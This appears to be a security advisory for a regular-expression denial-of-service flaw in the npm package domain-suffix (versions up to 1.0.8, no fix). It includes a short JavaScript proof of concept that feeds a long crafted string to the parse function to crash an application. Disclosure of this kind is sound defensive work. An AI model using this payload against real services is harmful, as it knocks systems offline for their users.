High

domain-suffix RegEx Denial of Service

Disclosed: 28.03.2024
Updated: 11.10.2026 10:22

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.

PoC

async function exploit() {
   const domainsuffix = require(\"domain-suffix\");
   // Crafting a string that will cause excessive backtracking
   const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
   const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();

Affected software

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Platform	Package	Vulnerable versions	Fixed in
npm package	domain-suffix	<= 1.0.8	no fix

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-1333
Platform: npm
Package: domain-suffix
Disclosed: 28.03.2024
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cqfh-c4c5-c2hg - CC BY 4.0

Vulnerability history: domain-suffix

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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